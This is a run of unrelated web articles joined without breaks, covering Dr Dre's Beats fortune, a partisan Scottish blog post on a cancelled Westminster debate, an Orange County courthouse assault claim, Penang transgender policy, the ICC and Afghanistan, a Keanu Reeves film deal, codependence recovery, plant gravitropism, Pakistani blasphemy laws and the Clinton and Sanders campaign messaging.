That is the boast made by singer-songwriter Tyrese Gibson in a video posted on Facebook (and later removed), before he is pushed aside by Dr Dre, the co-founder of the Beats Electronics firm.
The list of the richest people on the planet, says Dre, the 49-year-old hip-hop star and entrepreneur, has changed "in a big way".
"The first billionaire in hip hop right here from the... West Coast, believe me," he said, before the video abruptly ends.
By most accounts, Apple's $3bn (£1.8bn) acquisition of the Beats headphone and music streaming service will increase Dre's net worth from an estimated $550m to almost $800m - making him, if not hip-hop's first billionaire, certainly hip-hop's wealthiest man.
So how did Dr Dre, born Andre Romelle Young in inner-city Los Angeles, build his fortune?
Hip-hop's richest artists Image copyright Getty Images Dr Dre / Andre Young - $800m (estimated) Sean "Diddy" Combs - $700m Jay-Z / Shawn Carter - $520m Birdman / Bryan Williams - $160m 50 Cent / Curtis Jackson III - $140m Source: Forbes list
Borne of necessity
Dan Charnas, a former hip-hop record producer and author of The Big Payback: The History of the Business of Hip-Hop, says that Dr Dre's business acumen was shaped by the culture of hip-hop in the 1980s, which was by necessity more entrepreneurial.
"There's a long tradition of entrepreneurship for artists in the hip-hop business because there was no other way they were going to get out there," says Charnas, noting that in the 1980s, major record labels and radio stations were hesitant to invest in and promote hip-hop music.
"Russell Simmons [and Rick Rubin] had to start their own music company if people were going to hear these records," he adds, referring to Def Jam records, one of the first and most successful hip-hop labels.
"The hustle of that extended to everything."
Diversify
Dr Dre was certainly part of that early, scrappy hip-hop milieu.
Image copyright Getty Images Image caption Dr Dre diversified his revenue stream by identifying and producing new music by artists like Eminem
Although he first found success as a musician with the World Class Wreckin' Cru and then with the seminal group N.W.A. - pioneers of gangsta rap - he was also a keen collaborator and producer, thus ensuring he had two revenue streams: one from performing, and another from producing.
Why beg Adidas for an endorsement deal and make them all the money when you could put your own clothing out and do it yourself? Dan Charnas, Former hip-hop producer
Just a year after he released his debut album, The Chronic, in 1992 - which sold three million copies and won a Grammy award - Dr Dre also helped produce Snoop Dogg's first album, Doggystyle, which sold an astonishing five million copies.
Like many hip-hop stars of the era, Dre also made sure that he earned a cut of his own sales as a producer - eventually becoming "the single most influential producer in hip-hop history", according to Rolling Stone magazine.
After a falling out with his label, Death Row Records, due to a contract dispute (among other concerns), Dre negotiated a deal with Interscope to start his own label, Aftermath Entertainment, in 1996.
He then signed and helped produce albums by young hip-hop artists, most notably Eminem, before selling his share of the label back to Interscope in 2001 for a reported $35m.
Brand power
Although he rose to fame as a performer, Dr Dre has not released a solo album since 1999.
Image copyright AP Image caption Successful music mogul Jimmy Iovine (left) suggested the idea of an audio line to Dr Dre
Instead, he has capitalised on a trend in hip-hop that sprang up during the 1990s, when the genre's biggest stars, like Jay-Z and Sean "Diddy" Combs - aka Puff Daddy and P Diddy - launched their own clothing labels and consumer products.
Jay-Z founded Rocawear and Combs founded Sean Jean. Both are worth many millions of dollars.
People look at you like you're crazy when you say you don't need any more money - who says that? Dr Dre
"Why beg Adidas for an endorsement deal and make them all the money when you could put your own clothing out and do it yourself?" says Mr Charnas of the entrepreneurial spirit which pervaded hip-hop at the time.
Dr Dre was similarly pushed into consumer branding, but he took a slightly different route.
As the possibly apocryphal story goes, Dre's lawyers had asked him to endorse sneakers.
He ran into then-Interscope chairman Jimmy Iovine on the beach, who said something along the lines of: "[Expletive] sneakers, let's sell speakers."
'The way I do'
From there, the pair first partnered with Monster, a well-respected audio firm known mostly for their HDMI cables, to design and manufacture the Beats headphones. (In 2012, Monster and Beats announced the partnership had ended.)
"Monster had a good name in audio circles," says Mr Charnas of the early hype surrounding the headphones, which soon became known as accessories for the "true" music lover.
Image copyright Getty Images Image caption Most experts say the Beats success story is due in part to a canny marketing effort
The Monster reputation helped - but so did celebrity endorsements, which included Lady Gaga, as well as prominent placement within music videos.
"Beats is viewed as a triumph of marketing more than it is a fantastic product - there are a lot of people who feel there are better headphones to be bought in the market," says Mr Charnas.
Dr Dre used his reputation as a producer to market the product, saying: "Hear what the artists hear, and listen to the music the way they should, the way I do."
But the hip-hop artist has previously maintained that for him, it isn't all about the cash.
In an interview with Esquire last year, he talked about turning down potential investors by telling them he doesn't need any more money.
"That part is entertaining, because people look at you like you're crazy when you say you don't need any more money. Who says that?" he said.
Perhaps hip-hop's richest man did used to say that. At least until Apple came knocking.We’ve spoken before on this site about a couple of political concepts based around different ways of winning votes by bombarding the electorate with untruths so relentlessly that they come to be accepted as fact.
One of them, the “Big Lie”, was a term infamously coined by Hitler to describe a strategy regularly deployed by the Nazis in which a falsehood would be perpetrated which was so diametrically and spectacularly at odds with the reality, people would instinctively reject the thought that anyone would have the bare-faced audacity to say it if it wasn’t true, and therefore it must be.
Language needs some kind of brand new term, though, to accurately encapsulate the magnitude of what Scottish Labour have just tried to pull off.
The Scotsman today carries a story entitled “Westminster bans word ‘separate’ after SNP complaints”. (We’ll digress for but a brief moment to idly speculate on what the headline might instead have said had the protagonists been reversed – “Embarrassing climbdown for SNP over biased and misleading debate name”, perhaps.)
The article relates that House Of Commons clerks decreed the use of the pejorative term “separation” to describe independence to be – well, to be pejorative – and therefore inappropriately neutral for a debate in the house. They amended the title of a Labour debate from “The Royal Mail in a separate Scotland” to the fair, accurate and inoffensive “The Future of the Royal Mail in Scotland”. So far so trivial, right?
Astonishingly, Labour responded by cancelling the debate entirely, in a fit of pique at not being able to use what the clerks had described as a “leading” and “impartial” [sic] title for it. In essence, this highly-paid group of adult men and women charged with (and handsomely remunerated for) conducting the United Kingdom’s political discourse announced that it was their ball and they were taking it and going home.
That a troop of elected tribunes of the people would behave like sulking primary-school children in a playground is remarkable enough. But the statement released by Iain McKenzie, the Labour MP for Inverclyde in whose name the debate was entered, blew it clean out of the water for sheer jaw-dropping unbelievability.
“Last night, Mr McKenzie said he was cancelling the debate, which was due to be held in Westminster Hall not the Commons main chamber, in protest because the decision meant MPs were not free to debate independence properly. He said: “MPs need to be able to question the government about what Scotland leaving the UK would mean for our constituents. My debate on the Royal Mail was intended to put the question to government about what independence would mean for a service that is vital to people across Scotland. “We need a fully-informed debate ahead of the referendum in 2014 and these are exactly the kind of questions people need answers to.” A Labour spokesman added: “This is a blatant attempt by the Nationalists to shut down debate in the UK Parliament.””
We’ll rewind and replay that last bit for you in case you missed it while you were searching around on the floor for your jaw.
“A Labour spokesman added: “This is a blatant attempt by the Nationalists to shut down debate in the UK parliament.””
If you’re looking at your screen, blinking and re-reading those words over and over again to double- and triple-check that they say what you think they say, then congratulations – you’re still a functional and rational human being. Because it’s true: Labour really did actually, literally close down a debate in a giant toys-out-of-the-pram tantrum, and then bare-facedly accuse someone else of doing it.
We feel embarrassed about even spelling this next bit out to an intelligent audience who can already see it perfectly clearly, but we’re hoping the act of doing so will provide us with some sort of therapeutic closure:
Changing the name of the debate to a fair and neutral one does NOT prevent Labour or anyone else from being able to “question the government about what Scotland leaving the UK would mean for our constituents“. It does NOT prevent them from holding a “fully-informed debate“, and it does NOT prevent “the kind of questions people need answers to” from being answered.
Staggeringly, mind-numbingly obviously, the ONLY thing that does that is if you cancel the debate altogether because you’re in a huff about not being allowed to give it a biased name.
Labour’s actions go beyond what even Joseph Goebbels would have dared attempt. They’re not only telling a “Big Lie”, they’re actually telling people that they’re telling them a lie as they do it. The word “big” just doesn’t do it justice. This is a meta-lie, an uber-lie, a giga-lie. The degree of naked, open contempt it shows for the electorate is the most impossible thing anyone’s ever asked us to believe before breakfast.
———————————————————————————————–Matt Ferner/HuffPost James Crawford, defense attorney in Orange County, California, claims that a district attorney investigator attacked him outside of a court room.
ORANGE, Calif. -- A criminal defense attorney in Orange County, California, claims that an investigator working for Orange County's beleaguered District Attorney's Office attacked him in a courthouse hallway Wednesday morning after he referenced the county's ongoing jailhouse informant scandal.
Defense attorney James Crawford was at a courtroom at the Central Justice Center in Santa Ana this morning. When Crawford approached a witness to advise them on their rights, a verbal altercation began between Crawford and the DA's investigator, Crawford's attorney told The Huffington Post.
Crawford's attorney, Jerry Steering, says the DA's investigator continued to interfere with Crawford's attempts to advise his client. Crawford repeatedly asked the investigator to back down, and the altercation escalated, Steering said, when Crawford mentioned the allegations of misconduct stemming from the county's jailhouse informant program.
Steering said the DA's investigator "lost it," rushed Crawford and began "bashing his brains out" on a bench in the hallway and "punching his lights out."
After he delivered several blows to Crawford's head, Santa Ana Police officers finally pulled the investigator off of Crawford.
Steering says he intends to file a civil lawsuit over the attack.
On Wednesday, the DA's office would not comment on any specifics about the attack, but said that they are "fully cooperating" with the Orange County Sheriff's Department as it investigates the "incident that took place."
OCSD confirmed that an altercation took place, but told HuffPost that no one was in custody over it and that an investigation into the incident is ongoing.
Crawford, with blood still dripping from his nose, told HuffPost from his office in Orange that in his 22 years as an attorney, he's never heard of or experienced anything like this before.
Crawford just last month won a new trial for his client Henry Rodriguez when a judge ruled county prosecutors illegally withheld jailhouse informant evidence. Rodriguez has spent the past 15 years in state prison for the double murder of a pregnant Fullerton woman and her unborn daughter in 1998.
"Two weeks ago, I get Henry a new trial and this week the DA office's investigators are assaulting me," Crawford said.
Tom Dominguez, president of the Association of Orange County Deputy Sheriffs, said in a statement that Crawford's "one-sided version" of events was false.
"A careful investigation will reveal the true facts," Dominguez said. "We are cooperating fully in that investigation and we look forward to the actual facts being released publicly."
Multiple murder cases have already been derailed by revelations out of Orange County's formerly secret jailhouse informant network, some accused murderers have even walked free, and Rodriguez's case is just the latest to be caught in the fallout.
But Rodriguez likely won't be the last. While it remains unclear how many cases may be affected by tainted informant evidence, Deputy Public Defender Scott Sanders has argued that any murder case in the county from the last 30 years in which an informant was used deserves to be re-examined. Sanders first unearthed the alleged violations within the county's secret jailhouse informant program, as well as internal records from the program that may have been improperly concealed for decades.
With regard to informant evidence, District Attorney Tony Rackauckas has maintained that no one in his office intentionally behaved inappropriately.Democratic Action Party lawmaker Teh Yee Cheu has proposed setting up a committee to protect the rights of transgender people in the Malaysian state of Penang but the state Opposition opposes the idea
A state government lawmaker in the Malaysian state of Penang has proposed setting up a committee to protect the welfare of transgender people but the opposition has warned it will lead to more rights for LGBTs.
The Democratic Action Party’s Teh Yee Cheu put forward the proposal last week, sparking claims from the state opposition leader that the measure could lead to same-sex marriages in the state.
Teh told the state assembly that the issue had been overlooked and said there had been no action on the issue since he had first brought it up in 2009.
‘Since 2009, I have been asking for the committee be set up to handle issues related to this community to show that we are an open government,’ Teh told the assembly, saying that such a group would need the approval of the government.
State Women, Family and Community Development Committee chairwoman Chong Eng responded that while transgender issues were confronting to Muslims, his committee would address the issue.
‘They have issues, including which hospital ward they should be treated in, which toilet and which lock-ups,’ Chong was reported to have said by the Sun Daily.
However Datuk Jahara Hamid, leader of the Barisan Nasional coalition in the assembly, warned there would be a slippery slope to further rights for LGBT people if the committee was established.
‘With such a committee, is the state supporting same sex marriage as well?’ Jahara asked.
Jahara said transgender people should simply live as the gender of their birth.
Last month a campaign encouraging people to be allies of the transgender community was launched in Malaysia’s capital, Kuala Lumpur.
It is not technically illegal to be transgender in Malaysia although transgender people who are Muslims can be hauled before religious sharia courts and fined and people deemed to be of the same gender can be jailed for having sex.
Last October the Malaysian AIDS Council criticized such religious rulings, warning they could lead to increased stigmatization of transgender people and discrimination by authorities.WASHINGTON (Reuters) - An International Criminal Court investigation of possible war crimes by U.S. forces in Afghanistan is not “warranted or appropriate,” the U.S. State Department said on Tuesday after prosecutors in The Hague found initial grounds for such a probe.
State Department spokeswoman Elizabeth Trudeau said the United States was not a party to the Rome Statute that created the International Criminal Court in The Hague and had not consented to ICC jurisdiction. She also said Washington had a robust justice system able to deal with such complaints.
“The United States is deeply committed to complying with the law of war,” Trudeau told reporters at a news briefing. “We do not believe that an ICC examination or investigation with respect to actions of U.S. personnel in relation to the situation in Afghanistan is warranted or appropriate.”
Her comments came a day after prosecutors at the International Criminal Court said in a report that there was a “reasonable basis to believe” that U.S. forces had tortured at least 61 prisoners in Afghanistan and another 27 at CIA detention facilities elsewhere in 2003 and 2004.
The prosecutors’ office, headed by Prosecutor Fatou Bensouda, said it would decide imminently whether to pursue a full investigation. The results could lead to charges being brought against individuals and the issuing of arrest warrants.
The United States occupied Afghanistan in 2001 as it went after al Qaeda leaders behind the Sept. 11 attacks on New York and Washington. Crimes also may have been committed at U.S. Central Intelligence Agency facilities in Poland, Lithuania and Romania, where some people captured in Afghanistan were taken, prosecutors said.
The U.S. Justice Department between 2009 and 2012 investigated CIA mistreatment of detainees, including a full criminal investigation into two deaths in U.S. custody, but ultimately decided against prosecuting anyone.
Some U.S. military personnel have been prosecuted for murder and other crimes in Afghanistan.
The ICC was established in 1998 to prosecute war crimes and crimes against humanity. Trudeau noted the United States has “engaged with the ICC and we’ve supported ICC investigations and prosecution of cases that we believe advance our values in accordance with U.S. law.”
But she said the U.S. military was held to “the highest possible standards” and the United States had systems of accountability capable of dealing with war crimes allegations.
“We do an extraordinary job of investigating... credible allegations, holding ourselves accountable, holding our personnel accountable and closing investigations in a manner that serves justice,” she said.Lionsgate, which is releasing the Keanu Reeves-starring John Wick 2 nationwide tomorrow via its Summit label, has just acquired U.S. distribution rights to Reeves’ film Rally Car. Deadline revealed last month the distributor was in pole position to land the film. The China-centric movie will be directed by Olivier Megaton (Taken 2, Taken 3, Colombiana) and be shot from a script by Jeremy Lott based on a treatment by Stephen Hamel. The film, described as in the vein of Cannonball Run, will shoot in China and the United States in the summer.
In the project, Reeves stars as an American NASCAR driver who revitalizes his career by entering an international Rally Car race across China, and learns to win as part of a team when he joins forces wit a young Chinese woman who yearns to become a driver herself.
The announcement comes one day after Lionsgate’s earnings call with Wall Street analysts, in which execs noted their intention to do more co-production with China. Specifically, Lionsgate CEO Jon Feltheimer noted: “It’s a great market for us, it’s a growing market and it’s going to keep growing. We have a very diverse set of businesses and a very diverse set of relationships, and I think that’s really the key to what we’re doing. We are investing with them. We are being financed by them. We’re creating indigenous projects with them, co-productions with them, output deals with them.” Lionsgate also is doing a Chinese local-language version of the studio’s romance/dance franchise Step Up, and calling it Step Up China.
Rally Car will be produced by Hamel (Passengers) and Reeves of Company Films and Mark Gao and Gregory Ouanhon of Fundamental Films. Gary Glushon will executive produce. The film will bring together a multi-cultural cast. Deadline first reported the project when Reeves came aboard back in 2015.
Lionsgate
The deal was negotiated for Lionsgate by Constantine, along with Eda Kowan, EVP Acquisitions and Co-productions; John Biondo, EVP Business and Legal Affairs, Acquisitions and Co-productions; and Elizabeth Hopkins, SVP Business and Legal Affairs. For Fundamental Films, the deal was negotiated by WME and Sheri Jeffrey, Kevin Garland at Hogan Lovells. IM Global is handling international sales of the picture at the European Film Market in Berlin.How do we use the 3 As to cope with issues brought about by Codependence?
I first learned of the three A's, awareness, acceptance, and action from Alanon which is a wonderful self-help group for the family and friends of the alcoholic. Alanon suggests its members utilize the "Three A's" in dealing with the problems specifically caused by alcoholism in the family (e.g. page 97, Hope for Today). However, I have found the three A's immensely useful for coping with a wide variety of problems both personally and also in helping others in my professional practice as a clinical psychologist. The purpose of this post is to explain what the three A's are and how they can be helpful to solve in a wide variety of problems in living.
Let me briefly describe the three A's and how they are used. When confronted with a problem in life, we may be tempted to try to immediately solve it. However such solutions rarely work because we are trying to force an immediate solution. The three A's concept suggests that a better approach is to take time to work on the first two A's, awareness and acceptance, before moving into the action phase of problem solving. Hence the initial phase of problem solving is to increase one's awareness of how the problem arose, its nature, and become conscious of the consequences that the problem has had on us such as losses or restrictions in our life.
After an appropriate amount of awareness work, we are then ready to move to the acceptance stage which involves emotionally working through these losses. Only when we have worked through these initial two stages, can we be effective in the action phase of problem solving.
The three A's can be an immensely useful guide as to how to recover from codependence. As I have described in a previous post (Introduction to Codependence), codependence refers to the condition in which we did not receive the nurturing we needed as a child in order to mature into a healthy functioning adult. Abuse, neglect or traumatization, are the usual causes of codependence. Problems in valuing the self, poor boundaries, weak identity, poor negotiation skills and extremes of behaviour and thinking are the consequences (For details see Pia Mellody’s "Facing Codependence").
The first step in our recovery is often to move out of denial and become aware of what was missing in our nurturing process, independent of whether it was intentional or not. At this point some people mistakenly believe that they will recover from their codependence by immediately jumping to the action phase and confronting whoever was responsible for the less than optimal nurturing. However, this is usually not advisable because we may be acting out of anger and those confronted may react negatively to this anger, and the result is more hurt and anger all around. This is where the second A of acceptance saves the day.
Emotionally working through childhood abuse, neglect, or traumatization to achieve acceptance is difficult work and most of us need a support group and/or the assistance of a mental health worker to do so successfully. Often it involves grieving the associated losses not only in our childhood but also in adulthood.
Acceptance leads us to emotional balance and peace of mind which frees us and allows us to move on to the third A, action, in our recovery process from codependence. This phase of personal change is again best done in group or individual psychotherapy, or attendance at workshops.
Confrontation of the perpetrator(s) is not necessary or even possible in most cases. What is necessary is to become actively involved in your own recovery program usually using a variety of approaches from traditional codependence recovery techniques such as inner child work to more recent techniques such Christina Baldwin describes in her recent book "Storycatcher". This action phase of recovery can be a very rewarding process setting us free for life-long personal growth and development.HUNTSVILLE, Alabama - The Greene Street Market at Nativity is branching out from its weekly Thursday outdoor market. Beginning Friday, the Greene Street Market Store will be open at 208 Eustis Ave., with plans to have the store open year round Monday through Friday, from 10 am. to 5:30 p.m.
The store will carry some of the jarred relishes and other foods available each week at the outdoor market as well as seasonally available produce and flowers. Other items will include cheese and bread, coffee, soft drinks and sandwiches that shoppers can pick up to go, Marilyn Evans, who manages the farmers market, said.
"We want to make it a local food source," Evans said.
Another purpose of the store is to highlight the artists whose works will be for sale at the store. All the artists are from the region and items will include pottery, jewelry, soaps and lotions, wooden cheese boards and other goods.
"We have some really cool people who do neat stuff," Evans said.
The store is opening in a small space next to the Church of Nativity that has most recently been a bookstore, Evans said. The church owns the sunny space with tall ceilings, using it for various purposes over the years.
The store has gotten a makeover, with bright green shelves covering the walls and some tables and old crates in place for displaying products. All of the items have been donated, including a cooler where the drinks and sandwiches will be stored, Evans said. Beth Roberts is volunteering to manage the store, which will be staffed by volunteers.
The store will operate on a consignment basis, with 80 percent of sales going to the farmers and artists and 20 percent to the store. The Greene Street Market board of directors will donate that amount to outreach programs in the Tennessee Valley based on the applications it receives, Evans said.
People have shown an "amazing interest" in the store's opening, Evans said. "It's going to be a great place to come down to get a sandwich and a great place to get a Christmas present or just come hang out."
For more information about the store, visit greenestreetmarket.com.Caesars Entertainment has reached a tentative agreement with UNITE HERE Local 54 to avoid a strike at Harrah’s, Caesars and Bally’s. Tropicana and Taj Mahal are still in talks to avoid a July 1 strike.
52612 52612 52612 Four AC Casinos Reach Deal, Trump Taj Mahal May Face Strike Caesars Entertainment has reached a tentative agreement with UNITE HERE Local 54 to avoid a strike at Harrah’s, Caesars and Bally’s. Tropicana and Taj Mahal are still in talks to avoid a July 1 strike. disabled 2365794445 true
UPDATE: Casino Workers to Strike Against Trump Taj Mahal
By Brenda Flanagan
Correspondent
“We’re hoping that the companies come to their senses and realize this is not what they want,” said Jason McKnight.
Happily for Harrah’s employee McKnight, four casinos did avoid a threatened strike by casino union workers. UNITE HERE Local 54 reports it reached a tentative contract agreement after an all-night bargaining session with reps from Caesars Entertainment’s Atlantic City properties — Harrah’s, Caesars and Bally’s and later today at Tropicana. Some 5,000 union cooks, waiters, bartenders and housekeepers breathed a sigh of relief.
“At the end of the day, the workers in these buildings are the reason these people come here, the reason these people spend their vacations here,” McKnight said.
Earlier today Union President Bob McDevitt said, “We are glad that Caesars Entertainment recognized the importance of fair wages and benefits to the workers in Atlantic City. I hope that Tropicana and Taj Mahal get the message.” Obviously Tropicana did. As negotiations with the Taj continue, that message — printed on signs piled in |
, plant organs and function rely on phototropic responses to ensure that the leaves are receiving enough light to perform basic functions such as photosynthesis. In complete darkness, mature plants have little to no sense of gravity, unlike seedlings that can still orient themselves to have the shoots grow upward until light is reached when development can begin.[6]
Differential sensitivity to auxin helps explain Darwin's original observation that stems and roots respond in the opposite way to the forces of gravity. In both roots and stems, auxin accumulates towards the gravity vector on the lower side. In roots, this results in the inhibition of cell expansion on the lower side and the concomitant curvature of the roots towards gravity (positive gravitropism).[2][7] In stems, the auxin also accumulates on the lower side, however in this tissue it increases cell expansion and results in the shoot curving up (negative gravitropism).[8]
A recent study showed that for gravitropism to occur in shoots, only a fraction of an inclination, instead of a strong gravitational force, is necessary. This finding sets aside gravity sensing mechanisms that would rely on detecting the pressure of the weight of statoliths.[9]
[10] In the process of plant shoots growing opposite the direction of gravity by gravitropism, high concentration of auxin moves towards the bottom side of the shoot to initiate cell growth of the bottom cells, while suppressing cell growth on the top of the shoot. This allows the bottom cells of the shoot to continue a curved growth and elongate its cells upward, away from the pull of gravity as the auxin move towards the bottom of the shoot.
Gravity sensing mechanisms [ edit ]
Statoliths [ edit ]
Plants possess the ability to sense gravity in several ways, one of which is through statoliths. Statoliths are dense amyloplasts, organelles that synthesize and store starch involved in the perception of gravity by the plant (gravitropism), that collect in specialized cells called statocytes. Statocytes are located in the starch parenchyma cells near vascular tissues in the shoots and in the columella in the caps of the roots.[11] These specialized amyloplasts are denser than the cytoplasm and can sediment according to the gravity vector. The statoliths are enmeshed in a web of actin and it is thought that their sedimentation transmits the gravitropic signal by activating mechanosensitive channels.[2] The gravitropic signal then leads to the reorientation of auxin efflux carriers and subsequent redistribution of auxin streams in the root cap and root as a whole.[12] The changed relations in concentration of auxin leads to differential growth of the root tissues. Taken together, the root is then turning to follow the gravity stimuli. Statoliths are also found in the endodermic layer of the hypocotyl, stem, and inflorescence stock. The redistribution of auxin causes increased growth on the lower side of the shoot so that it orients in a direction opposite that of the gravity stimuli.
Modulation by phytochrome [ edit ]
Phytochromes are red and far-red photoreceptors that help induce changes in certain aspects of plant development. Apart being itself the tropic factor (phototropism), light may also suppress the gravitropic reaction.[13] In seedlings, red and far-red light both inhibit negative gravitropism in seedling hypocotyls (the shoot area below the cotyledons) causing growth in random directions. However, the hypocotyls readily orient towards blue light. This process may be caused by phytochrome disrupting the formation of starch-filled endodermal amyloplasts and stimulating their conversion to other plastid types, such as chloroplasts or etiolaplasts.[13]
Compensation [ edit ]
The compensation reaction of the bending Coprinus stem. C - the compensating part of the stem.
Bending mushroom stems follow some regularities that are not common in plants. After turning into horizontal the normal vertical orientation the apical part (region C in the figure below) starts to straighten. Finally this part gets straight again, and the curvature concentrates near the base of the mushroom.[14] This effect is called compensation (or sometimes, autotropism). The exact reason of such behavior is unclear, and at least two hypotheses exist.
The hypothesis of plagiogravitropic reaction supposes some mechanism that sets the optimal orientation angle other than 90 degrees (vertical). The actual optimal angle is a multi-parameter function, depending on time, the current reorientation angle and from the distance to the base of the fungi. The mathematical model, written following this suggestion, can simulate bending from the horizontal into vertical position but fails to imitate realistic behavior when bending from the arbitrary reorientation angle (with unchanged model parameters). [14]
The alternative model supposes some “straightening signal”, proportional to the local curvature. When the tip angle approaches 30° this signal overcomes the bending signal, caused by reorientation, straightening resulting.[15]
Both models fit the initial data well, but the latter was also able to predict bending from various reorientation angles. Compensation is less obvious in plants, but in some cases it can be observed combining exact measurements with mathematical models. The more sensitive roots are stimulated by lower levels of auxin; higher levels of auxin in lower halves stimulate less growth, resulting in downward curvature (positive gravitropism).
Gravitropic mutants [ edit ]
Mutants with altered responses to gravity have been isolated in several plant species including Arabidopsis thaliana (one of the genetic model systems used for plant research). These mutants have alterations in either negative gravitropism in hypocotyls and/or shoots, or positive gravitropism in roots, or both.[8] Mutants have been identified with varying effects on the gravitropic responses in each organ, including mutants which nearly eliminate gravitropic growth, and those whose effects are weak or conditional. Once a mutant has been identified, it can be studied to determine the nature of the defect (the particular difference(s) it has compared to the non-mutant 'wildtype'). This can provide information about the function of the altered gene, and often about the process under study. In addition the mutated gene can be identified, and thus something about its function inferred from the mutant phenotype.
Gravitropic mutants have been identified that affect starch accumulation, such as those affecting the PGM1 (which encodes the enzyme phosphoglucomutase) gene in Arabidopsis, causing plastids - the presumptive statoliths - to be less dense and, in support of the starch-statolith hypothesis, less sensitive to gravity.[16] Other examples of gravitropic mutants include those affecting the transport or response to the hormone auxin.[8] In addition to the information about gravitropism which such auxin-transport or auxin-response mutants provide, they have been instrumental in identifying the mechanisms governing the transport and cellular action of auxin as well as its effects on growth.
There are also several cultivated plants that display altered gravitropism compared to other species or to other varieties within their own species. Some are trees that have a weeping or pendulate growth habit; the branches still respond to gravity, but with a positive response, rather than the normal negative response. Others are the lazy (i.e. ageotropic or agravitropic) varieties of corn (Zea mays) and varieties of rice, barley and tomatoes, whose shoots grow along the ground.
See also [ edit ]
Clinostat - a device used to negate the effects of gravitational pull
Amyloplast - starch organelle involved in sensing gravitropism
Prolonged sine - reaction of plants to turning from their usual vertical orientationREUTERS/Jahangir Khan A Pakistani man works on a brick kiln.
The plight of Christians in Pakistan has been spotlighted in a new Amnesty International report taking aim at the country's blasphemy laws.
The "As good as dead" report says religious minorities are often the target of false blasphemy accusations and that Pakistan's blasphemy laws are actually "emboldening vigilantes" who are prepared to threaten or even kill those accused.
Once accused, victims face a "gruelling struggle" to prove their innocence as well as continued threats to their life even if the charges against them have been dropped and they have been released from detention.
Amnesty asserts that little effort is made on the part of the authorities to check the evidence of blasphemy allegations as they bow instead to public pressure from "angry crowds". Trials are often "unfair", the human rights group adds.
"There is overwhelming evidence that Pakistan's blasphemy laws violate human rights and encourage people to take the law into their own hands. Once a person is accused, they become ensnared in a system that offers them few protections, presumes them guilty, and fails to safeguard them against people willing to use violence," said Audrey Gaughran, Amnesty International's Director of Global Issues.
Specifically, the report draws attention to Christian victims of the blasphemy laws, among them Rimsha Masih, a 14-year-old Christian girl with learning disabilities who made international headlines when she was accused by a local cleric of burning pages of the Qur'an.
The charge was eventually overturned by the Islamabad High Court but her family were still forced to flee to Canada, where they were granted asylum because of threats against their lives.
Also included in the report was the horrific murder of Christian couple Shama and Shahzad Masih who were beaten before being burned to death inside a brick kiln after an angry crowd accused them of torching pages of the Qur'an. According to Amnesty, five policemen were present at the time but failed to intervene because they were outnumbered by the crowd.
"The authorities' failure to effectively intervene in this case before the mob turned violent is typical of a pattern across Punjab. The police often know of threats circulating against vulnerable religious minorities, but do not act decisively in the face of a mob roused by angry clerics exhorting murder," Amnesty said.One of Hillary Clinton’s first television ads of the presidential campaign is all about her mother.
Just don’t expect to hear too much about mom and dad from her top rival, Bernie Sanders.
Mr. Sanders, an independent senator from Vermont running in the Democratic primary, proudly breaks many of the unwritten rules of American politics. He calls himself a socialist. He slaps few backs. And he doesn’t plan on taking the well-trodden path of touting his humble origins to connect with voters.
“The usual path is to begin with biography,” Tad Devine, a top adviser to Mr. Sanders’ campaign, told the Observer. “I don’t see us going there.”
Ms. Clinton has certainly gone there. As the most famous politician in America outside of President Barack Obama, the former secretary of state and first lady is hunting for ways to reintroduce herself to voters–if such a thing is even possible. Ms. Clinton’s campaign believes that her mother’s tales of hardship can demonstrate that she understands their plight, even if she’s spent much of her life in the spotlight and earned millions of dollars over the last decade.
Dorothy Rodham, the subject of a $1 million television ad buy in Iowa and New Hampshire, was abandoned as a child by her parents and was helped to survive by people around her, including teachers. She died in 2011. At Ms. Clinton’s campaign kickoff in June, Rodham was a centerpiece of her address.
“She went to work in somebody else’s home at age 14 and it opened her eyes,” Ms. Clinton says in one ad. “For the first time she saw parents who loved and cared for their children. And that’s the kind of loving family she provided for us. When she needed a champion, someone was there. I think about all the Dorothys all over America who fight for their families, who never give up.”
While Ms. Clinton holds commanding leads over Mr. Sanders in every poll taken since the Vermont senator entered the race in May, her unfavorable ratings remain high. Just 37 percent of all Americans have a positive view of Clinton, versus 48 percent who have a negative view, according to a NBC News/Wall Street Journal poll released Monday. A recent scandal surrounding her use of email when she was secretary of state appears to be taking a further toll on her popularity.
Her camp is hoping Dorothy Rodham is one way to flip those numbers.
“Her team has made a judgement that Hillary’s historical background is rich with potential problems and potential opportunity,” said Patrick Griffin, a political science professor at American University and a former member of the Clinton administration. “There are not many times you can reintroduce her, given her time on the field, and it’s a good opportunity to create a narrative for her that works.”
Mr. Devine was dismissive of this approach, hinting that Ms. Clinton is simply mining poll data to determine what she believes in. (A spokesman for Ms. Clinton did not return a request for comment.)
“They spent a million dollars in polling in less than a quarter. We spent zero,” Mr. Devine said, adding that he hoped to invest in polling soon. “I think Hillary’s message really comes out of that research. That research has led them to their decisions about media. This is the stuff that tested the best, therefore it’s going up on TV.”
“You’ve seen it in state polls; her image has deteriorated,” he added. “There’s a need for the campaign to get into reshaping her image. That’s where they’re coming from.”
As his populist stances begin to resonate with a slice of the Democratic electorate hungry for uncompromised liberalism, Mr. Sanders has not made much of an attempt to reveal Bernie Sanders, the person, to the public. Rather, Mr. Sanders proudly boasts that this campaign “isn’t about me” (paradoxical perhaps for an individual seeking the most powerful elected position on Earth) and portrays himself as a vessel for progressive ideas, a mere messenger.
He will talk about yawning income inequality, the need for publicly-financed elections, the threat of climate change, the rising costs of college, and the importance of bolstering labor unions. He will not readily talk about the woman who gave birth to his lone biological son–Politico reported it was a former girlfriend, and not his first wife–or his decade as a fledgling Vermont activist before he became the mayor of Burlington in 1981.
The Brooklyn native’s biography is not entirely absent from the trail. In his campaign kickoff speech, he noted his father emigrated from Poland and worked as a paint salesman, and that his mother died young. “My parents, brother and I lived in a small rent-controlled apartment,” he said.
“I think that’s part of story, but I don’t see it being the mainframe,” Mr. Devine said. “The mainframe is going to be Bernie’s message as he delivers it and that he’s prepared to fight on behalf of ordinary people.”
This week, a five-minute web ad released by the Sanders campaign devotes roughly 25 seconds to his parents. “My mother was born and raised in New York City. She died at the age of 46,” he says. Old family photographs appear onscreen. He recalls being surrounded by immigrants as a child–and then uses the memory to pivot to another policy position.
“I grew up in Brooklyn. Many of the families were immigrants and they understood the importance of education,” he says. “We don’t have a strong economy unless we have a very well-educated workforce.”
Mr. Devine, who advised Al Gore and John Kerry’s presidential campaigns, said Mr. Sanders’ background could provide plenty of fodder for a great TV ad, though voters shouldn’t hold their breath for any Dorothy-style spots.
